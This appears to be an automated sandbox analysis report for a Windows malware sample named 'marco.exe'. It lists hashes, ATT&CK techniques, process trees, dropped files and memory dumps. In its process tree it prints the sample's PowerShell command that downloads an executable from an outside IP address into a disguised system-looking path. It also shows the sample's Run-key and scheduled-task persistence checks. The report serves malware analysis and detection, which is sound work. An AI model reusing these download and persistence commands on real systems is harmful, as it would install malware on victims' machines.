1efa01ffacc75ec629997d734cce16a8e28a7abf31ab40a247996c56130e5efc

Analysis

max time kernel
37s
max time network
39s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260911-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
01/10/2026, 20:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
marco.exe
Size 956KB
Sample261001-yvb7days6k
SHA256 1efa01ffacc75ec629997d734cce16a8e28a7abf31ab40a247996c56130e5efc
MD5 22aafadd7963e499a1efa37c5150bdc6
SHA1 17baf2e29f93f2ed051e5d56f5065d288e713fc9
SHA512 c4e220aa6bab1e05705d2a79709f61f773659b01fc6db7accca3c64695cc9523c207175ac9b44af51bcc9a06c25000d53a5505c6a7f40c74bccf0f41b9c0fe41
SSDEEP 12288:NF+NLmQri4dziSs5c/sZisjxalrYbe9Xq0j4Px8IYTz8dPXZrwvmS:CLxhfstiJq0gLizTvmS
TLSH
T15B256C26F6A900BDD0B6C1B5C9134903E772784A47317ADF07906AA71F27BE49E3EB11
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
23	3108	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3508	powershell.exe
3828	powershell.exe
3108	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
23	3108	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
3584	wuausvhost.exe
4180	wuausvhost.exe
560	wuausvhost.exe

Loads dropped DLL 1 IoCs

pid	Process
2824	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2814447569-4053889695-374664695-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\UsoSessionWorker = "\"C:\\Windows\\system32\\wuausvhost.exe\""	marco.exe

Enumerates connected drives 3 TTPs 5 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\E:\	Explorer.EXE
\??\F:\	Explorer.EXE

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system32\wlbsctrl.dll	marco.exe
File opened for modification	C:\Windows\system32\wlbsctrl.dll	marco.exe
File created	C:\Windows\system32\wuausvhost.exe	marco.exe
File opened for modification	C:\Windows\system32\wuausvhost.exe	marco.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3508	powershell.exe
3828	powershell.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4796	cmd.exe
3764	cmd.exe
1984	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	marco.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	marco.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3584	wuausvhost.exe
3584	wuausvhost.exe
4180	wuausvhost.exe
4180	wuausvhost.exe
3184	marco.exe
3184	marco.exe
3508	powershell.exe
3828	powershell.exe
3508	powershell.exe
3828	powershell.exe
3108	powershell.exe
3108	powershell.exe
560	wuausvhost.exe
560	wuausvhost.exe

Suspicious use of AdjustPrivilegeToken 56 IoCs

description	pid	Process
Token: SeAuditPrivilege	2824	svchost.exe
Token: SeShutdownPrivilege	3400	Explorer.EXE
Token: SeCreatePagefilePrivilege	3400	Explorer.EXE
Token: SeShutdownPrivilege	3400	Explorer.EXE
Token: SeCreatePagefilePrivilege	3400	Explorer.EXE
Token: SeDebugPrivilege	3508	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	3828	powershell.exe
Token: SeSecurityPrivilege	3828	powershell.exe
Token: SeTakeOwnershipPrivilege	3828	powershell.exe
Token: SeLoadDriverPrivilege	3828	powershell.exe
Token: SeSystemProfilePrivilege	3828	powershell.exe
Token: SeSystemtimePrivilege	3828	powershell.exe
Token: SeProfSingleProcessPrivilege	3828	powershell.exe
Token: SeIncBasePriorityPrivilege	3828	powershell.exe
Token: SeCreatePagefilePrivilege	3828	powershell.exe
Token: SeBackupPrivilege	3828	powershell.exe
Token: SeRestorePrivilege	3828	powershell.exe
Token: SeShutdownPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeSystemEnvironmentPrivilege	3828	powershell.exe
Token: SeRemoteShutdownPrivilege	3828	powershell.exe
Token: SeUndockPrivilege	3828	powershell.exe
Token: SeManageVolumePrivilege	3828	powershell.exe
Token: 33	3828	powershell.exe
Token: 34	3828	powershell.exe
Token: 35	3828	powershell.exe
Token: 36	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	3508	powershell.exe
Token: SeSecurityPrivilege	3508	powershell.exe
Token: SeTakeOwnershipPrivilege	3508	powershell.exe
Token: SeLoadDriverPrivilege	3508	powershell.exe
Token: SeSystemProfilePrivilege	3508	powershell.exe
Token: SeSystemtimePrivilege	3508	powershell.exe
Token: SeProfSingleProcessPrivilege	3508	powershell.exe
Token: SeIncBasePriorityPrivilege	3508	powershell.exe
Token: SeCreatePagefilePrivilege	3508	powershell.exe
Token: SeBackupPrivilege	3508	powershell.exe
Token: SeRestorePrivilege	3508	powershell.exe
Token: SeShutdownPrivilege	3508	powershell.exe
Token: SeDebugPrivilege	3508	powershell.exe
Token: SeSystemEnvironmentPrivilege	3508	powershell.exe
Token: SeRemoteShutdownPrivilege	3508	powershell.exe
Token: SeUndockPrivilege	3508	powershell.exe
Token: SeManageVolumePrivilege	3508	powershell.exe
Token: 33	3508	powershell.exe
Token: 34	3508	powershell.exe
Token: 35	3508	powershell.exe
Token: 36	3508	powershell.exe
Token: SeShutdownPrivilege	3400	Explorer.EXE
Token: SeCreatePagefilePrivilege	3400	Explorer.EXE
Token: SeShutdownPrivilege	3400	Explorer.EXE
Token: SeCreatePagefilePrivilege	3400	Explorer.EXE
Token: SeDebugPrivilege	3108	powershell.exe
Token: SeShutdownPrivilege	3400	Explorer.EXE
Token: SeCreatePagefilePrivilege	3400	Explorer.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2824 wrote to memory of 3584	2824	svchost.exe	84
PID 3584 wrote to memory of 3400	3584	wuausvhost.exe	57
PID 3584 wrote to memory of 3400	3584	wuausvhost.exe	57
PID 4180 wrote to memory of 3400	4180	wuausvhost.exe	57
PID 4180 wrote to memory of 3400	4180	wuausvhost.exe	57
PID 3184 wrote to memory of 3400	3184	marco.exe	57
PID 3184 wrote to memory of 3400	3184	marco.exe	57
PID 3400 wrote to memory of 2896	3400	Explorer.EXE
PID 3400 wrote to memory of 4796	3400	Explorer.EXE	95
PID 3400 wrote to memory of 3764	3400	Explorer.EXE	97
PID 4796 wrote to memory of 3508	4796	cmd.exe	99
PID 3764 wrote to memory of 3828	3764	cmd.exe	100
PID 3400 wrote to memory of 1984	3400	Explorer.EXE	102
PID 1984 wrote to memory of 3108	1984	cmd.exe	104
PID 560 wrote to memory of 3400	560	wuausvhost.exe	57
PID 560 wrote to memory of 3400	560	wuausvhost.exe	57

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3400
- C:\Users\Admin\AppData\Local\Temp\marco.exe
  "C:\Users\Admin\AppData\Local\Temp\marco.exe"
  2⤵
  - Adds Run key to start application
  - Drops file in System32 directory
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3184
- C:\Windows\system32\cmd.exe
  cmd.exe /C powershell -NoProfile -ExecutionPolicy Bypass -Command "$t = Get-ScheduledTask -TaskPath '*UpdateOrchestrator*' -TaskName 'UsoSessionWorker' -ErrorAction SilentlyContinue; $s = Get-Service -Name 'WinHttpAutoProxySvc2' -ErrorAction SilentlyContinue; $r = Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'UsoSessionWorker' -ErrorAction SilentlyContinue; if ($t -or $s -or $r) { 'PERSIST_ACTIVE' } else { 'PERSIST_INACTIVE' }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "$t = Get-ScheduledTask -TaskPath '*UpdateOrchestrator*' -TaskName 'UsoSessionWorker' -ErrorAction SilentlyContinue; $s = Get-Service -Name 'WinHttpAutoProxySvc2' -ErrorAction SilentlyContinue; $r = Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'UsoSessionWorker' -ErrorAction SilentlyContinue; if ($t -or $s -or $r) { 'PERSIST_ACTIVE' } else { 'PERSIST_INACTIVE' }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3508
- C:\Windows\system32\cmd.exe
  cmd.exe /C powershell -NoProfile -ExecutionPolicy Bypass -Command "$t = Get-ScheduledTask -TaskPath '*UpdateOrchestrator*' -TaskName 'UsoSessionWorker' -ErrorAction SilentlyContinue; $s = Get-Service -Name 'WinHttpAutoProxySvc2' -ErrorAction SilentlyContinue; $r = Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'UsoSessionWorker' -ErrorAction SilentlyContinue; if ($t -or $s -or $r) { 'PERSIST_ACTIVE' } else { 'PERSIST_INACTIVE' }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "$t = Get-ScheduledTask -TaskPath '*UpdateOrchestrator*' -TaskName 'UsoSessionWorker' -ErrorAction SilentlyContinue; $s = Get-Service -Name 'WinHttpAutoProxySvc2' -ErrorAction SilentlyContinue; $r = Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'UsoSessionWorker' -ErrorAction SilentlyContinue; if ($t -or $s -or $r) { 'PERSIST_ACTIVE' } else { 'PERSIST_INACTIVE' }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://185.234.75.45:3000/stel.exe' -OutFile 'C:\ProgramData\Microsoft\Windows\Caches\wuausvhost.exe'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://185.234.75.45:3000/stel.exe' -OutFile 'C:\ProgramData\Microsoft\Windows\Caches\wuausvhost.exe'"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2824
- C:\Windows\system32\wuausvhost.exe
  "C:\Windows\system32\wuausvhost.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3584

C:\Windows\system32\wuausvhost.exe
C:\Windows\system32\wuausvhost.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4180

C:\Windows\system32\wuausvhost.exe
"C:\Windows\system32\wuausvhost.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 be60000073a2adae6603febd3b4cdd6062485f931fc62a5278820273fadf7527
MD5 0dd99dda36f4e13c987ab5cfb0042907
SHA1 56e1b347299166c264bed377775cabd437658317
SHA512 f0b64615ecf7cc5507d8a023195752b216e22d21812895badcbde9b095a08b1d8f9fd763a5cd90e948841d5ab3a9c760d540f98d9ea37120811c765e7dde0371
TLSH
T1A971E0313375B0E4C9567F07192819C023BF4395E698AF1CB69C521EE92750B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8dd8887b04548ef7847fa27e6f062e47933b2d127e01bbf0251205b9c0af8c76
MD5 1d90b6d0ee9ba3029d26baa6399b5b23
SHA1 a160c65b63f44f8afa24cdf61345db5d3fdc7436
SHA512 41632e63b9edc3623e7ed53c74cdab9ead469e6add7687b9b3a8f65e78283abf091c87736f7d3c210b8de6b608283f985b4adfb188425ad81cb4c063900ebdd1
TLSH
T17F219223B39CC860CC89023B14AC9CA035B287C780CECF9B6FC4D215A17FA99CB201A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_e5rebpyi.5ca.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e5rebpyi.5ca.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

wlb6E55.tmp.dll

Path C:\Users\Admin\AppData\Local\Temp\wlb6E55.tmp.dll
Size 103KB
SHA256 030a31a47580dd821cbe7963e0c8dd5f861bf539aaddd967d9786d183e050b87
MD5 0b93e2ade05534b46cf1d794e30fde5b
SHA1 266816924794758e6b25f9fef7299078fbdc5141
SHA512 a275fe86ac4be95ddb506dff63e35ec45912b19a1947650b996bf4c8ff62a86a41dba9db7cd338b2a4b2802168b36fa63605c4a4be8215b0702f4504107bb990
SSDEEP 3072:Nso5plrz0Llk8eGhbQbClPXuqjYrpqpqpsqDJG9ErzUOq:NrXz8lk92MClPXZQUUq
TLSH
T19CA3495B63E941BBE176963884A34A09EBB6B8150760AFEF0364025E1F233D09D3DF71
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wuausvhost.exe

Path C:\Windows\System32\wuausvhost.exe
Size 956KB
SHA256 1efa01ffacc75ec629997d734cce16a8e28a7abf31ab40a247996c56130e5efc
MD5 22aafadd7963e499a1efa37c5150bdc6
SHA1 17baf2e29f93f2ed051e5d56f5065d288e713fc9
SHA512 c4e220aa6bab1e05705d2a79709f61f773659b01fc6db7accca3c64695cc9523c207175ac9b44af51bcc9a06c25000d53a5505c6a7f40c74bccf0f41b9c0fe41
SSDEEP 12288:NF+NLmQri4dziSs5c/sZisjxalrYbe9Xq0j4Px8IYTz8dPXZrwvmS:CLxhfstiJq0gLizTvmS
TLSH
T15B256C26F6A900BDD0B6C1B5C9134903E772784A47317ADF07906AA71F27BE49E3EB11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3400-9-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-19-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-31-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-39-0x0000000000F10000-0x0000000000F11000-memory.dmp

Download

memory/3400-55-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-58-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-81-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-84-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-93-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-92-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-94-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-89-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-83-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-82-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-80-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-79-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-78-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-77-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-76-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-75-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-74-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-73-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-72-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-70-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-69-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-68-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-67-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-66-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-65-0x0000000000F30000-0x0000000000F31000-memory.dmp

Download

memory/3400-57-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-56-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-54-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-53-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-52-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-51-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-50-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-49-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-48-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-47-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-46-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-44-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-43-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-42-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-41-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-40-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-32-0x0000000002F80000-0x0000000003030000-memory.dmp

Download

memory/3400-30-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-29-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-28-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-27-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-26-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-25-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-24-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-23-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-22-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-18-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-17-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-16-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-15-0x0000000000EF0000-0x0000000000EF1000-memory.dmp

Download

memory/3400-20-0x0000000180000000-0x00000001800B0000-memory.dmp

Download

memory/3400-96-0x0000000000F00000-0x0000000000F01000-memory.dmp

Download

memory/3400-104-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-107-0x0000000009400000-0x00000000094B0000-memory.dmp

Download

memory/3400-154-0x0000000009E20000-0x0000000009ED0000-memory.dmp

Download

memory/3508-116-0x000001CEA62C0000-0x000001CEA62E2000-memory.dmp

Download